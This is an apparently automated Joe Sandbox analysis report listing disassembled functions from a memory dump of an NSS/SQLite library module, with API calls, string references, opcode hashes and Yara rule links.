Opcode ID: f6a9146586eae8ef6a72f72c62edcfe7a8428ca6e684ceffd55aa2e445886d72
Instruction ID: e5f9e5d87173d0b44a4c3cd88f85c488c840005fca5306bc3b62d6a73325b803
Opcode Fuzzy Hash: f6a9146586eae8ef6a72f72c62edcfe7a8428ca6e684ceffd55aa2e445886d72
Instruction Fuzzy Hash: 1CB18EB0E003489FDB15CF65DC40AAEBBBAFF48308F14452EE81AA7751E731AA55CB51

Function 6CA99C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB11C0: PR_NewLock.NSS3 ref: 6CAB1216

free.MOZGLUE(?), ref: 6CA99E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA99E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA99E4E
TlsGetValue.KERNEL32 ref: 6CA99EA2

Part of subcall function 6CAA9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CAA9546

EnterCriticalSection.KERNEL32(?), ref: 6CA99EB6
PR_Unlock.NSS3 ref: 6CA99ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CA99F18

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: eddaa128967dc0e1b8109bca9657ad6eccf43f8ea13c5227a9f6065e65d47180
Instruction ID: ccc4ed67d9423661a4c132fb6f2be3871c43550e034070e83ece93a23cd63186
Opcode Fuzzy Hash: eddaa128967dc0e1b8109bca9657ad6eccf43f8ea13c5227a9f6065e65d47180
Instruction Fuzzy Hash: E581F8B1A10701AFEB109F74DE42AAB77E9BF44248F084528E85D87B11FB31E999C791

Function 6CAADCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(D958E852,6CAB1397,5B5F5EC0,?,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB3C
Part of subcall function 6CAAAB10: free.MOZGLUE(D958E836,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB49
Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(5D5E6CCA), ref: 6CAAAB5C
Part of subcall function 6CAAAB10: free.MOZGLUE(5D5E6CBE), ref: 6CAAAB63
Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CAAAB6F
Part of subcall function 6CAAAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CAAAB76

TlsGetValue.KERNEL32 ref: 6CAADCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CAADD0E
PK11_IsFriendly.NSS3(?), ref: 6CAADD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CAADD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAADE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAADEA6
PR_Unlock.NSS3(?), ref: 6CAADF08

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 94c4904507809c499c8ab7a468cf5ffec62ebe20ecb310111caef0132cca8001
Instruction ID: a6befe5eb130d19bc35ef8beb3bd49871c57ae051c7a64a5d0066504d3636c21
Opcode Fuzzy Hash: 94c4904507809c499c8ab7a468cf5ffec62ebe20ecb310111caef0132cca8001
Instruction Fuzzy Hash: BC91D4B5E011059FDB10CFA8D980BAFB7B5AF58308F188029DC599B741EB31ED96CB91

Function 6CA65FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CB4BB62,00000004,6CBB4CA4,?,?,00000000,?,?,6CA231DB), ref: 6CA660AB
sqlite3_config.NSS3(00000004,6CBB4CA4,6CB4BB62,00000004,6CBB4CA4,?,?,00000000,?,?,6CA231DB), ref: 6CA660EB
sqlite3_config.NSS3(00000012,6CBB4CC4,?,?,6CB4BB62,00000004,6CBB4CA4,?,?,00000000,?,?,6CA231DB), ref: 6CA66122

Strings

misuse, xrefs: 6CA6609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA66095
%s at line %d of [%.10s], xrefs: 6CA660A4

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 990cda9f719ca9e188cad0c543e5f489279bb775e8aea02a2995634336c7acc1
Instruction ID: d5bc870fdb9ade01f833cef5f8d0802d8d8355512202cfd486de99fab2750b50
Opcode Fuzzy Hash: 990cda9f719ca9e188cad0c543e5f489279bb775e8aea02a2995634336c7acc1
Instruction Fuzzy Hash: C1B18074E0468ACFCB05CF28C2419ADBBF4FB1E344F058169D549AB723E730AA84CB95

Function 6CA14F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA14FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA151BB

Strings

misuse, xrefs: 6CA151AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA151A5
%s at line %d of [%.10s], xrefs: 6CA151B4
unable to delete/modify user-function due to active statements, xrefs: 6CA151DF

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: e465f4b7a8a87c42f2e27a4a47d0eef6c1249100498bc8d58231c38935459cbf
Instruction ID: 4ed17cc63ea0b377d97e1d1d4d4be2a4b6cf73171d161873a45051bfd4350d27
Opcode Fuzzy Hash: e465f4b7a8a87c42f2e27a4a47d0eef6c1249100498bc8d58231c38935459cbf
Instruction Fuzzy Hash: F0719F7560820A9FDB01CE59CDC0B9A77B9BB48318F194524FD199BB41D335EC94CBA1

Function 6CA82D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CA82D69

Strings

winTruncate1, xrefs: 6CA82EBE
winUnmapfile2, xrefs: 6CA82F7F
winUnmapfile1, xrefs: 6CA82F55
winTruncate2, xrefs: 6CA82EF8
winSeekFile, xrefs: 6CA82E9C

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 3b385300507b5bb9b987adfb16c34b6c731b609b32605be97e9827dc72024e8c
Instruction ID: 85e4661ee3128e567aa94ce918e6e4b3c4744f6c79da60748a7bf8bfe53b7a12
Opcode Fuzzy Hash: 3b385300507b5bb9b987adfb16c34b6c731b609b32605be97e9827dc72024e8c
Instruction Fuzzy Hash: 1761CD75B012049FDB44CF68DC94AAE7BB1FF49364F148228E9199BB80DB31AC46CB95

Function 6CAFFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CAFFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CAFF165,6CBC219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAFFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CAFF165,?), ref: 6CB000A6

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: c74477a45f2de6406ae156ca61ec684e59289103679d55cbf97f827345669c80
Instruction ID: 281a4fa5b43351ebf9ebf83171eed92cc5b4c7470156504153af23078c92271d
Opcode Fuzzy Hash: c74477a45f2de6406ae156ca61ec684e59289103679d55cbf97f827345669c80
Instruction Fuzzy Hash: 26510A71F042999FDB108E58D8807AEBBB9FB49318F280129DD55A7740E731AD45CBD1

Function 6CABDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CABDF37
EnterCriticalSection.KERNEL32(?), ref: 6CABDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABDF96
PR_SetError.NSS3(00000000,00000000), ref: 6CABE02B
PR_Unlock.NSS3(?), ref: 6CABE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CABE090
PR_Unlock.NSS3(?), ref: 6CABE0AF

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: c0429c991be9c8e02fd00ddd9fa858db08a59024dc1bd047dde861c9a6ced6ab
Instruction ID: ba72bfe4325f4a5ada3e8dc1c22c0c9d532280f7c81e2b5d21e422d1b0121683
Opcode Fuzzy Hash: c0429c991be9c8e02fd00ddd9fa858db08a59024dc1bd047dde861c9a6ced6ab
Instruction Fuzzy Hash: F651D035A40600CFEB209F28DC44B5A73B9FF44318F244A68E85A67B91D731E888CBD2

Function 6CABBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CABBD1E

Part of subcall function 6CA92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CA92F0A
Part of subcall function 6CA92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA92F1D

Part of subcall function 6CAD57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CA9B41E,00000000,00000000,?,00000000,?,6CA9B41E,00000000,00000000,00000001,?), ref: 6CAD57E0
Part of subcall function 6CAD57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CAD5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CABBD8C

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CABBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CABBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABBE3A

Part of subcall function 6CA93E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA93EC2
Part of subcall function 6CA93E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA93ED6
Part of subcall function 6CA93E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA93EEE
Part of subcall function 6CA93E60: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA93F02
Part of subcall function 6CA93E60: PL_FreeArenaPool.NSS3 ref: 6CA93F14
Part of subcall function 6CA93E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA93F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABBE52

Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA92CDA,?,00000000), ref: 6CA92E1E
Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CA92E33
Part of subcall function 6CA92E00: TlsGetValue.KERNEL32 ref: 6CA92E4E
Part of subcall function 6CA92E00: EnterCriticalSection.KERNEL32(?), ref: 6CA92E5E
Part of subcall function 6CA92E00: PL_HashTableLookup.NSS3(?), ref: 6CA92E71
Part of subcall function 6CA92E00: PL_HashTableRemove.NSS3(?), ref: 6CA92E84
Part of subcall function 6CA92E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CA92E96
Part of subcall function 6CA92E00: PR_Unlock.NSS3 ref: 6CA92EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CABBE61

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 8a7a7b1642186bed9ca8918e4bd3a7ac6601852e3ba2b4f9defafd4495f51182
Instruction ID: cf1eb90ed969783a9c312dc6964d62ec65b70dfd3c539dc0302b3d1380f43799
Opcode Fuzzy Hash: 8a7a7b1642186bed9ca8918e4bd3a7ac6601852e3ba2b4f9defafd4495f51182
Instruction Fuzzy Hash: 8B41E6B5A002109FD710CF28EDC1A6A77F8EF49718F144258F949A7711E731ED98CB92

Function 6CADAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CADAB3E,?,?,?), ref: 6CADAC35

Part of subcall function 6CABCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CABCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CADAB3E,?,?,?), ref: 6CADAC55

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CADAB3E,?,?), ref: 6CADAC70

Part of subcall function 6CABE300: TlsGetValue.KERNEL32 ref: 6CABE33C
Part of subcall function 6CABE300: EnterCriticalSection.KERNEL32(?), ref: 6CABE350
Part of subcall function 6CABE300: PR_Unlock.NSS3(?), ref: 6CABE5BC
Part of subcall function 6CABE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CABE5CA
Part of subcall function 6CABE300: TlsGetValue.KERNEL32 ref: 6CABE5F2
Part of subcall function 6CABE300: EnterCriticalSection.KERNEL32(?), ref: 6CABE606
Part of subcall function 6CABE300: PORT_Alloc_Util.NSS3(?), ref: 6CABE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CADAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CADAB3E), ref: 6CADACD7
PORT_Alloc_Util.NSS3(?), ref: 6CADAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CADAD2B

Part of subcall function 6CABF360: TlsGetValue.KERNEL32(00000000,?,6CADA904,?), ref: 6CABF38B
Part of subcall function 6CABF360: EnterCriticalSection.KERNEL32(?,?,?,6CADA904,?), ref: 6CABF3A0
Part of subcall function 6CABF360: PR_Unlock.NSS3(?,?,?,?,6CADA904,?), ref: 6CABF3D3

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 8c9c90c66808e55904f09157196f3c14cf11a435e3404b495098e9658773b6ad
Instruction ID: f35e64576498af9474e7da154f306291c714eaa4d8667b6e2d50cbd5c184a0c0
Opcode Fuzzy Hash: 8c9c90c66808e55904f09157196f3c14cf11a435e3404b495098e9658773b6ad
Instruction Fuzzy Hash: BF312BB5E006055FEB008F69DC409AF777BEF84728B1D8128E81557740EB31ED9587A1

Function 6CAB8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CAB8C7C

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB8CB0
TlsGetValue.KERNEL32 ref: 6CAB8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CAB8CE5
PR_Unlock.NSS3(?), ref: 6CAB8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CAB8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB8D93

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: d3d6b1fea2dd6dc25ef0b76bf0969ebfa7ffdffbdf610de3da17986c2ba611f9
Instruction ID: 333fd75123a7f5e4fd05b50d7e7cd15e2461e08fd9abae18f53679a044a7baac
Opcode Fuzzy Hash: d3d6b1fea2dd6dc25ef0b76bf0969ebfa7ffdffbdf610de3da17986c2ba611f9
Instruction Fuzzy Hash: F7312575A01216ABD7009F6CDC4079A7778BF45318F18013AEA1967B50D730A9A4CBC1

Function 6CAF9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CAF9C5B), ref: 6CAF9D82

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CAF9C5B), ref: 6CAF9DA9

Part of subcall function 6CAF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF136A
Part of subcall function 6CAF1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF137E
Part of subcall function 6CAF1340: PL_ArenaGrow.NSS3(?,6CA8F599,?,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?), ref: 6CAF13CF
Part of subcall function 6CAF1340: PR_Unlock.NSS3(?,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CAF9C5B), ref: 6CAF9DCE

Part of subcall function 6CAF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF13F0
Part of subcall function 6CAF1340: PL_ArenaGrow.NSS3(?,6CA8F599,?,?,?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CAF1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CAF9C5B), ref: 6CAF9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CAF9C5B), ref: 6CAF9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CAF9C5B), ref: 6CAF9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CAF9C5B), ref: 6CAF9E91

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Part of subcall function 6CAF1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CAEFAAB,00000000), ref: 6CAF157E
Part of subcall function 6CAF1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CAEFAAB,00000000), ref: 6CAF1592
